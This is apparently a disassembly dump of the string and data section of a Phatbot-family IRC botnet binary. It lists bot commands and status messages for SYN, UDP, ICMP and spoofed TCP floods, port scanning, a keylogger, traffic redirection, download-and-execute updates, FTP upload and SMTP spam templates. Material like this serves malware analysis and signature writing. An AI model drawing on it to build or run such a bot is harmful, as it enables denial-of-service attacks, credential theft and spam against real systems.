		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aActionSS_	db 'Action: %s: %s.',0
dword_429D00	dd 234032Dh, 6E69616Dh,	202D0302h, 6C637943h, 2E65h
					; DATA XREF: sub_401ACD+710Eo
dword_429D14	dd 54524150h, 0D732520h, 0Ah ; DATA XREF: sub_401ACD+70D4o
					; sub_401ACD+7C47o
unk_429D20	db  2Dh	; -		; DATA XREF: sub_401ACD+70AFo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aModeChangeS	db 'Mode change: %s',0
aModeS		db 'MODE %s',0Dh,0Ah,0  ; DATA XREF: sub_401ACD+709Eo
		align 4
dword_429D48	dd 234032Dh, 6E6F6C63h,	2D030265h, 77615220h, 73252820h
					; DATA XREF: sub_401ACD+7073o
		dd 25203A29h, 73h
dword_429D64	dd 234032Dh, 6E6F6C63h,	2D030265h, 646F4D20h, 25282065h
					; DATA XREF: sub_401ACD+7004o
		dd 203A2973h, 7325h
dword_429D80	dd 45444F4Dh, 732520h	; DATA XREF: sub_401ACD+6FA9o
dword_429D88	dd 234032Dh, 6E6F6C63h,	2D030265h, 63694E20h, 2528206Bh
					; DATA XREF: sub_401ACD+6F79o
		dd 203A2973h, 7325h
dword_429DA4	dd 4E494F4Ah, 20732520h, 7325h ; DATA XREF: sub_401ACD+6F00o
dword_429DB0	dd 0A0D7325h, 0		; DATA XREF: sub_401ACD+6ECEo
					; sub_401ACD+6F57o ...
dword_429DB8	dd 54524150h, 732520h	; DATA XREF: sub_401ACD+6E95o
dword_429DC0	dd 234032Dh, 67726174h,	3023361h ; DATA	XREF: sub_401ACD+6E84o
aFailedToStartF	db '- Failed to start flood thread, error: <%d>.',0
		align 4
dword_429DFC	dd 234032Dh, 67726174h,	3023361h ; DATA	XREF: sub_401ACD+6E15o
aFloodingSForSS	db '- Flooding %s for %s seconds.',0
		align 4
unk_429E28	db  2Dh	; -		; DATA XREF: sub_401ACD+6D85o
		db 3, 34h, 2
		db  74h	; t
		db 73h,	75h, 6Eh
		db  61h	; a
		db 6Dh,	69h, 2
		db    3
aFailedToStar_0	db '- Failed to start flood thread, error: <%d>.',0
		align 4
unk_429E64	db  2Dh	; -		; DATA XREF: sub_401ACD+6D1Ao
		db 3, 34h, 2
		db  74h	; t
		db 73h,	75h, 6Eh
		db  61h	; a
		db 6Dh,	69h, 2
		db    3
aTsunamiHeading	db '- Tsunami heading for %s (%s seconds).',0
unk_429E98	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408745o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aRepeatNotAllow	db 'Repeat not allowed in command line: %s',0
		align 4
dword_429ECC	dd 234032Dh, 6E69616Dh,	202D0302h, 65706552h, 203A7461h
					; DATA XREF: sub_401ACD+6C3Do
		dd 7325h
dword_429EE4	dd 234032Dh, 6E69616Dh,	202D0302h, 616C6544h, 2E79h
					; DATA XREF: sub_401ACD:loc_408673o
dword_429EF8	dd 25207325h, 73252073h, 73253A20h, 0 ;	DATA XREF: sub_401ACD+6B62o
					; sub_401ACD+6C14o ...
dword_429F08	dd 234032Dh, 61647075h,	3026574h ; DATA	XREF: sub_401ACD:loc_4085D0o
aBotIdMustBeDif	db '- Bot ID must be different than current running process.',0
		align 10h
dword_429F50	dd 234032Dh, 61647075h,	3026574h ; DATA	XREF: sub_401ACD+6AF9o
aFailedToStartD	db '- Failed to start download thread, error: <%d>.',0
dword_429F8C	dd 234032Dh, 61647075h,	3026574h ; DATA	XREF: sub_401ACD+6A8Ao
aDownloadingUpd	db '- Downloading update from: %s.',0
		align 4
aSS_exe		db '%s%s.exe',0         ; DATA XREF: sub_401ACD+69E2o
		align 4
dword_429FC4	dd 234032Dh, 63657865h,	202D0302h, 6D6D6F43h, 73646E61h
					; DATA XREF: sub_401ACD+6980o
		dd 7325203Ah, 0
unk_429FE0	db  2Dh	; -		; DATA XREF: sub_401ACD+6975o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	65h, 63h
		db    2
		db 3, 2Dh, 20h
aCouldnTExecute	db 'Couldn',27h,'t execute file.',0
		align 4
unk_42A004	db  2Dh	; -		; DATA XREF: sub_401ACD+68DBo
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_1	db 'Failed to start search thread, error: <%d>.',0
unk_42A040	db  2Dh	; -		; DATA XREF: sub_401ACD+6865o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aSearchingForFi	db 'Searching for file: %s in: %s.',0
		align 10h
dword_42A070	dd 234032Dh, 656C6966h,	2D0302h	; DATA XREF: sub_401ACD:loc_40826Bo
					; sub_401ACD:loc_409366o
unk_42A07C	db  2Dh	; -		; DATA XREF: sub_401ACD+6789o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aRenameSToS_	db 'Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0
		align 10h
unk_42A0A0	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408234o
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aInvalidFloodTi	db 'Invalid flood time must be greater than 0.',0
		align 4
unk_42A0D8	db  2Dh	; -		; DATA XREF: sub_401ACD+675Do
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_2	db 'Failed to start flood thread, error: <%d>.',0
		align 10h
unk_42A110	db  2Dh	; -		; DATA XREF: sub_401ACD+66EDo
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aFloodingSFor_0	db 'Flooding: (%s) for %s seconds.',0
		align 4
dword_42A13C	dd 234032Dh, 6E6F6C63h,	3027365h ; DATA	XREF: sub_401ACD+666Ao
aFailedToStar_3	db '- Failed to start clone thread, error: <%d>.',0
		align 4
dword_42A178	dd 234032Dh, 6E6F6C63h,	3027365h ; DATA	XREF: sub_401ACD+65FBo
aCreatedOnSDInC	db '- Created on %s:%d, in channel %s.',0
		align 4
unk_42A1A8	db  2Dh	; -		; DATA XREF: sub_401ACD+6582o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_4	db 'Failed to start flood thread, error: <%d>.',0
		align 10h
unk_42A1E0	db  2Dh	; -		; DATA XREF: sub_401ACD+6513o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aFloodingSSForS	db 'Flooding: (%s:%s) for %s seconds.',0
		align 10h
unk_42A210	db  2Dh	; -		; DATA XREF: sub_401ACD+6489o
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aFailedToStar_5	db '- Failed to start flood thread, error: <%d>.',0
		align 4
unk_42A248	db  2Dh	; -		; DATA XREF: sub_401ACD+641Ao
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aFloodingSSFo_0	db '- Flooding: (%s:%s) for %s seconds.',0
		align 4
unk_42A278	db  2Dh	; -		; DATA XREF: sub_401ACD+63A1o
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_6	db 'Failed to start flood thread, error: <%d>.',0
		align 10h
unk_42A2B0	db  2Dh	; -		; DATA XREF: sub_401ACD+6332o
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aFloodingSFor_1	db 'Flooding %s for %s seconds using delay %s ms.',0
		align 4
unk_42A2EC	db  2Dh	; -		; DATA XREF: sub_401ACD+62B9o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aFailedToStartT	db 'Failed to start transfer thread, error: <%d>.',0
		align 4
unk_42A32C	db  2Dh	; -		; DATA XREF: sub_401ACD+624Ao
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloadingUrl	db 'Downloading URL: %s to: %s.',0
unk_42A358	db  2Dh	; -		; DATA XREF: sub_401ACD+617Bo
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aFailedToStartR	db 'Failed to start redirection thread, error: <%d>.',0
		align 4
unk_42A39C	db  2Dh	; -		; DATA XREF: sub_401ACD+610Co
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aTcpRedirectCre	db 'TCP redirect created from: %s:%d to: %s:%d.',0
unk_42A3D8	db  2Dh	; -		; DATA XREF: sub_401ACD+600Fo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPortScanStarte	db 'Port scan started: %s:%d with delay: %d(ms).',0
		align 4
aSSS_1		db '[%s] <%s> %s',0     ; DATA XREF: sub_401ACD+5F63o
		align 4
aSSS_2		db '[%s] * %s %s',0     ; DATA XREF: sub_401ACD+5E86o
		align 4
dword_42A434	dd 54434101h, 204E4F49h, 17325h	; DATA XREF: sub_401ACD+5DF2o
					; sub_401ACD+715Ao
unk_42A440	db  2Dh	; -		; DATA XREF: sub_401ACD+5D8Eo
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_7	db 'Failed to start scan thread, error: <%d>.',0
		align 4
unk_42A47C	db  2Dh	; -		; DATA XREF: sub_401ACD+5D1Fo
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPortScanStar_0	db 'Port scan started: %s with delay: %d(ms) checking range %d-%d.',0
		align 4
unk_42A4CC	db  2Dh	; -		; DATA XREF: sub_401ACD+5C88o
					; sub_401ACD+607Eo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_8	db 'Failed to start scan thread, error: <%d>.',0
		align 4
unk_42A504	db  2Dh	; -		; DATA XREF: sub_401ACD+5C19o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSPortScanStart	db '%s Port Scan started on %s:%d with a delay of %d seconds for %d m'
		db 'inutes using %d threads.',0
		align 4
unk_42A56C	db  2Dh	; -		; DATA XREF: sub_401ACD+5AA3o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_9	db 'Failed to start scan, no IP specified.',0
		align 10h
unk_42A5A0	db  2Dh	; -		; DATA XREF: sub_401ACD+5A46o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToSta_10	db 'Failed to start scan, port is invalid.',0
		align 4
unk_42A5D4	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4073F3o
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aUploadingFileS	db '- Uploading file: %s to: %s failed.',0
		align 4
unk_42A604	db  2Dh	; -		; DATA XREF: sub_401ACD+591Fo
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aUploadingFil_0	db '- Uploading file: %s to: %s',0
		align 4
aFtp_exe	db 'ftp.exe',0          ; DATA XREF: sub_401ACD+5906o
aSS_2		db '-s:%s',0            ; DATA XREF: sub_401ACD+58EFo
		align 4
aOpenSSSSPutSBy	db 'open %s',0Dh,0Ah    ; DATA XREF: sub_401ACD+58CCo
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db 'put %s',0Dh,0Ah
		db 'bye',0Dh,0Ah,0
		align 10h
aAb		db 'ab',0               ; DATA XREF: sub_401ACD+58A8o
					; ___:00411C61o
		align 4
aSIII_dll	db '%s\%i%i%i.dll',0    ; DATA XREF: sub_401ACD+5897o
		align 4
unk_42A674	db  2Dh	; -		; DATA XREF: sub_401ACD+584Do
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aFileNotFoundS_	db '- File not found: %s.',0
		align 4
aUpload		db 'upload',0           ; DATA XREF: sub_401ACD+582Ao
		align 4
unk_42A69C	db  2Dh	; -		; DATA XREF: sub_401ACD+57F4o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aAlreadyDScanni	db 'Already %d scanning threads. Too many specified.',0
		align 4
unk_42A6DC	db  2Dh	; -		; DATA XREF: sub_401ACD+5797o
		db 3, 34h, 2
		db  75h	; u
		db 64h,	70h, 2
		db    3
aFailedToSta_11	db '- Failed to start flood thread, error: <%d>.',0
		align 4
unk_42A714	db  2Dh	; -		; DATA XREF: sub_401ACD+572Co
		db 3, 34h, 2
		db  75h	; u
		db 64h,	70h, 2
		db    3
aSendingDPacket	db '- Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0
		align 4
unk_42A75C	db  2Dh	; -		; DATA XREF: sub_401ACD+567Bo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aMessageHasBeen	db '- Message has been sent successfuly',0
		align 10h
unk_42A790	db  2Dh	; -		; DATA XREF: sub_401ACD+5647o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aFailedToSendMe	db '- Failed to send message, error <%i>.',0
		align 4
unk_42A7C4	db  2Dh	; -		; DATA XREF: sub_401ACD+5623o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aNetsendDoesNot	db '- NetSend does not work on Win9x systems',0
		align 4
unk_42A7FC	db  2Dh	; -		; DATA XREF: sub_401ACD+5581o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aSendingMessage	db '- Sending message %s times to %s using name %s',0
aIcmp_dllNotAva	db 'ICMP.dll not available',0 ; DATA XREF: sub_401ACD+5564o
		align 10h
unk_42A850	db  2Dh	; -		; DATA XREF: sub_401ACD+554Fo
		db 3, 34h, 2
		db  70h	; p
		db 69h,	6Eh, 67h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_12	db 'Failed to start flood thread, error: <%d>.',0
		align 4
unk_42A888	db  2Dh	; -		; DATA XREF: sub_401ACD+54E0o
		db 3, 34h, 2
		db  70h	; p
		db 69h,	6Eh, 67h
		db    2
		db 3, 2Dh, 20h
aSendingDPingsT	db 'Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0
		align 10h
unk_42A8D0	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_406EFFo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aInvalidFlood_0	db '- Invalid flood time must be greater than 0.',0
		align 4
unk_42A908	db  2Dh	; -		; DATA XREF: sub_401ACD+5428o
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aFailedToSta_13	db '- Failed to start flood thread, error: <%d>.',0
		align 10h
unk_42A940	db  2Dh	; -		; DATA XREF: sub_401ACD+53AEo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aSSFloodingSSFo	db '- %s %s flooding: (%s:%s) for %s seconds.',0
		align 4
aNormal		db 'Normal',0           ; DATA XREF: sub_401ACD+539Eo
		align 4
aSpoofed	db 'Spoofed',0          ; DATA XREF: sub_401ACD+5397o
unk_42A984	db  2Dh	; -		; DATA XREF: sub_401ACD+52FCo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aInvalidFloodTy	db '- Invalid flood type specified.',0
		align 10h
aRandom_0	db 'random',0           ; DATA XREF: sub_401ACD+52ECo
		align 4
aAck		db 'ack',0              ; DATA XREF: sub_401ACD+52D5o
aHcon		db 'hcon',0             ; DATA XREF: sub_401ACD+525Fo
		align 4
aHttpcon	db 'httpcon',0          ; DATA XREF: sub_401ACD+524Co
unk_42A9CC	db  2Dh	; -		; DATA XREF: sub_401ACD+51FDo
		db 3, 34h, 2
		db  65h	; e
		db 6Dh,	61h, 69h
		db  6Ch	; l
		db 2, 3, 2Dh
aMessageSentToS	db ' Message sent to %s.',0
		align 10h
aHeloRndnickMai	db 'helo $rndnick',0Ah  ; DATA XREF: sub_401ACD+5189o
		db 'mail from: <%s>',0Ah
		db 'rcpt to: <%s>',0Ah
		db 'data',0Ah
		db 'subject: %s',0Ah
		db 'from: %s',0Ah
		db '%s',0Ah
		db '.',0Ah,0
aEmail		db 'email',0            ; DATA XREF: sub_401ACD+509Eo
		align 4
aTcp		db 'tcp',0              ; DATA XREF: sub_401ACD+5087o
aTcpflood	db 'tcpflood',0         ; DATA XREF: sub_401ACD+5070o
		align 4
aP:					; DATA XREF: sub_401ACD+5059o
		unicode	0, <p>,0
aPing_0		db 'ping',0             ; DATA XREF: sub_401ACD+5042o
		align 10h
aPingflood	db 'pingflood',0        ; DATA XREF: sub_401ACD+502Bo
		align 4
aNs		db 'ns',0               ; DATA XREF: sub_401ACD+5014o
		align 10h
aNetsend	db 'netsend',0          ; DATA XREF: sub_401ACD+4FFDo
aU:					; DATA XREF: sub_401ACD+4FE6o
					; ___:00437F88o
		unicode	0, <u>,0
aUdp		db 'udp',0              ; DATA XREF: sub_401ACD+4FCFo
aUdpflood	db 'udpflood',0         ; DATA XREF: sub_401ACD+4FB8o
		align 4
aAdvscan	db 'advscan',0          ; DATA XREF: sub_401ACD+4F8Ao
aPsc		db 'psc',0              ; DATA XREF: sub_401ACD+4F73o
aPortscan	db 'portscan',0         ; DATA XREF: sub_401ACD+4F5Co
		align 4
aC_a		db 'c_a',0              ; DATA XREF: sub_401ACD+4F36o
aC_action	db 'c_action',0         ; DATA XREF: sub_401ACD+4F1Fo
		align 4
aC_pm		db 'c_pm',0             ; DATA XREF: sub_401ACD+4F08o
		align 4
aC_privmsg	db 'c_privmsg',0        ; DATA XREF: sub_401ACD+4EF1o
		align 4
aSc		db 'sc',0               ; DATA XREF: sub_401ACD+4EDAo
		align 4
aScan		db 'scan',0             ; DATA XREF: sub_401ACD+4EC3o
		align 4
aRd		db 'rd',0               ; DATA XREF: sub_401ACD+4EACo
		align 4
aRedirect	db 'redirect',0         ; DATA XREF: sub_401ACD+4E95o
		align 4
aJpl10		db 'jpl10',0            ; DATA XREF: sub_401ACD+4E7Eo
		align 4
aJpldg10	db 'jpldg10',0          ; DATA XREF: sub_401ACD+4E67o
aWonk		db 'wonk',0             ; DATA XREF: sub_401ACD+4E50o
		align 4
aPhatwonk	db 'phatwonk',0         ; DATA XREF: sub_401ACD+4E39o
		align 4
dword_42AB08	dd 234032Dh, 73796B73h,	3026E79h ; DATA	XREF: sub_401ACD+4E2Co
aFailedToSta_14	db '- Failed to start flood thread, error: <%d>.',0
		align 4
dword_42AB44	dd 234032Dh, 73796B73h,	3026E79h ; DATA	XREF: sub_401ACD+4DBDo
aFloodingSSFo_1	db '- Flooding: (%s:%s) for %s seconds.',0
aSkysyn		db 'skysyn',0           ; DATA XREF: sub_401ACD+4D3Ao
		align 4
aSyn		db 'syn',0              ; DATA XREF: sub_401ACD+4D23o
					; sub_401ACD+52BDo
aSynflood	db 'synflood',0         ; DATA XREF: sub_401ACD+4D0Co
		align 4
unk_42AB8C	db  2Dh	; -		; DATA XREF: sub_401ACD+4CFFo
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aFailedToSta_15	db '- Failed to start flood thread, error: <%d>.',0
		align 4
aWisdom_udp	db 'wisdom.udp',0       ; DATA XREF: sub_401ACD+4C28o
		align 4
aDdos_random	db 'ddos.random',0      ; DATA XREF: sub_401ACD+4C11o
					; sub_412B08:loc_412C34o
aDdos_ack	db 'ddos.ack',0         ; DATA XREF: sub_401ACD+4BFAo
					; sub_412B08:loc_412C18o
		align 10h
aDdos_syn	db 'ddos.syn',0         ; DATA XREF: sub_401ACD+4BE3o
					; sub_412B08+F1o
		align 4
aC:					; DATA XREF: sub_401ACD+4BCCo
					; ___:00437C40o ...
		unicode	0, <c>,0
aClone_0	db 'clone',0            ; DATA XREF: sub_401ACD+4BB5o
		align 4
aIcmp		db 'icmp',0             ; DATA XREF: sub_401ACD+4B8Co
		align 10h
aIcmpflood	db 'icmpflood',0        ; DATA XREF: sub_401ACD+4B75o
		align 4
aMv		db 'mv',0               ; DATA XREF: sub_401ACD+4B5Eo
		align 10h
aRename		db 'rename',0           ; DATA XREF: sub_401ACD+4B47o
		align 4
aFf		db 'ff',0               ; DATA XREF: sub_401ACD+4B30o
		align 4
aFindfile	db 'findfile',0         ; DATA XREF: sub_401ACD+4B19o
		align 4
aE:					; DATA XREF: sub_401ACD+4B02o
		unicode	0, <e>,0
aExecute	db 'execute',0          ; DATA XREF: sub_401ACD+4AEBo
aJp10		db 'jp]10',0            ; DATA XREF: sub_401ACD+4AD4o
		align 4
aJpDe100	db 'jp]de100',0         ; DATA XREF: sub_401ACD+4ABDo
		align 4
aDe		db 'de',0               ; DATA XREF: sub_401ACD+4AA6o
		align 4
aDelay		db 'delay',0            ; DATA XREF: sub_401ACD+4A8Fo
		align 4
aRp		db 'rp',0               ; DATA XREF: sub_401ACD+4A78o
		align 4
aRepeat		db 'repeat',0           ; DATA XREF: sub_401ACD+4A61o
					; sub_401ACD+6BE7o
		align 10h
aTsn		db 'tsn',0              ; DATA XREF: sub_401ACD+4A4Ao
aTsunami	db 'tsunami',0          ; DATA XREF: sub_401ACD+4A33o
aT3		db 't3',0               ; DATA XREF: sub_401ACD+4A1Co
		align 10h
aTarga3		db 'targa3',0           ; DATA XREF: sub_401ACD+4A05o
		align 4
aC_p		db 'c_p',0              ; DATA XREF: sub_401ACD+49EEo
aC_part		db 'c_part',0           ; DATA XREF: sub_401ACD+49D7o
		align 4
aC_j		db 'c_j',0              ; DATA XREF: sub_401ACD+49C0o
aC_join		db 'c_join',0           ; DATA XREF: sub_401ACD+49A9o
		align 10h
aC_n		db 'c_n',0              ; DATA XREF: sub_401ACD+4992o
aC_nick		db 'c_nick',0           ; DATA XREF: sub_401ACD+497Bo
		align 4
aC_m		db 'c_m',0              ; DATA XREF: sub_401ACD+4964o
aC_mode		db 'c_mode',0           ; DATA XREF: sub_401ACD+494Do
		align 4
aC_r		db 'c_r',0              ; DATA XREF: sub_401ACD+4936o
aC_raw		db 'c_raw',0            ; DATA XREF: sub_401ACD+491Fo
		align 4
aM:					; DATA XREF: sub_401ACD+4908o
					; ___:00437C50o
		unicode	0, <m>,0
aCy		db 'cy',0               ; DATA XREF: sub_401ACD+48DAo
		align 4
aCycle		db 'cycle',0            ; DATA XREF: sub_401ACD+48C3o
		align 4
aA:					; DATA XREF: sub_401ACD+48ACo
		unicode	0, <a>,0
aAction		db 'action',0           ; DATA XREF: sub_401ACD+4895o
		align 10h
aPrivmsg_0	db 'privmsg',0          ; DATA XREF: sub_401ACD+4867o
aAa		db 'aa',0               ; DATA XREF: sub_401ACD+4850o
		align 4
aAddalias	db 'addalias',0         ; DATA XREF: sub_401ACD+4839o
		align 4
aKl		db 'kl',0               ; DATA XREF: sub_401ACD+4822o
		align 4
aKilllog	db 'killlog',0          ; DATA XREF: sub_401ACD+480Bo
aGh		db 'gh',0               ; DATA XREF: sub_401ACD+47E2o
		align 4
aGethost	db 'gethost',0          ; DATA XREF: sub_401ACD+47CDo
aCap		db 'cap',0              ; DATA XREF: sub_401ACD+47B8o
aCapture	db 'capture',0          ; DATA XREF: sub_401ACD+47A3o
unk_42AD1C	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_406265o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aCommandUnknown	db '- Command unknown.',0
unk_42AD38	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40625Bo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aNoMessageSpeci	db '- No message specified.',0
		align 4
aSend		db 'send',0             ; DATA XREF: sub_401ACD+475Eo
					; sub_409B12+5F0o
		align 4
unk_42AD64	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40621Eo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListFailed	db '- User list failed.',0
		align 4
unk_42AD84	db  2Dh	; -		; DATA XREF: sub_401ACD+4747o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListComple	db '- User list completed.',0
aUser		db 'user',0             ; DATA XREF: sub_401ACD+46D3o
		align 4
unk_42ADAC	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_406193o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListFaile	db '- Share list failed.',0
		align 4
unk_42ADCC	db  2Dh	; -		; DATA XREF: sub_401ACD+46BCo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListCompl	db '- Share list completed.',0
		align 10h
aShare		db 'share',0            ; DATA XREF: sub_401ACD+466Eo
		align 4
aContinue	db 'continue',0         ; DATA XREF: sub_401ACD+462Ao
		align 4
aPause		db 'pause',0            ; DATA XREF: sub_401ACD+4610o
		align 4
aStop		db 'stop',0             ; DATA XREF: sub_401ACD+45F6o
		align 4
unk_42AE14	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4060B6o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aServiceListFai	db '- Service list failed.',0
unk_42AE34	db  2Dh	; -		; DATA XREF: sub_401ACD+45DFo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aServiceListCom	db '- Service list completed.',0
		align 4
aStart		db 'start',0            ; DATA XREF: sub_401ACD+45A9o
		align 10h
unk_42AE60	db  2Dh	; -		; DATA XREF: sub_401ACD+4577o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aFailedToLoadAd	db '- Failed to load advapi32.dll or netapi32.dll.',0
aNet		db 'net',0              ; DATA XREF: sub_401ACD+4553o
dword_42AE9C	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_401ACD+4548o
aFailedToStartL	db '- Failed to start logging thread, error: <%d>.',0
		align 4
dword_42AED8	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_401ACD+44D9o
aKeyLoggerActiv	db '- Key logger active.',0
		align 4
dword_42AEFC	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_401ACD+4457o
aAlreadyRunning	db '- Already running.',0
		align 4
dword_42AF1C	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_401ACD:loc_405F0Eo
aNoKeyLoggerThr	db '- No key logger thread found.',0
		align 4
dword_42AF48	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_401ACD+4437o
aKeyLoggerStopp	db '- Key logger stopped. (%d thread(s) stopped.)',0
		align 4
aFile		db 'file',0             ; DATA XREF: sub_401ACD+43F8o
		align 4
aKeylog		db 'keylog',0           ; DATA XREF: sub_401ACD+43D6o
		align 4
dword_42AF94	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD:loc_405E98o
aNoThreadFound_	db '- No thread found.',0
		align 4
dword_42AFB4	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+43C1o
aServerStopped_	db '- Server stopped. (%d thread(s) stopped.)',0
		align 4
dword_42AFEC	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+4391o
aFailedToSta_16	db '- Failed to start server, error: <%d>.',0
		align 10h
dword_42B020	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+4344o
aServerRunnin_0	db '- Server running on Port: 113.',0
		align 4
dword_42B04C	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+4334o
aAlreadyRunni_0	db '- Already running.',0
		align 4
aIdent		db 'ident',0            ; DATA XREF: sub_401ACD+4301o
		align 4
unk_42B074	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_405DC3o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aNoPhatbotSniff	db '- No Phatbot sniffer thread found.',0
unk_42B0A4	db  2Dh	; -		; DATA XREF: sub_401ACD+42ECo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aPhatbotSniffer	db '- Phatbot sniffer stopped. (%d thread(s) stopped.)',0
unk_42B0E4	db  2Dh	; -		; DATA XREF: sub_401ACD+42BCo
		db 3, 34h, 2
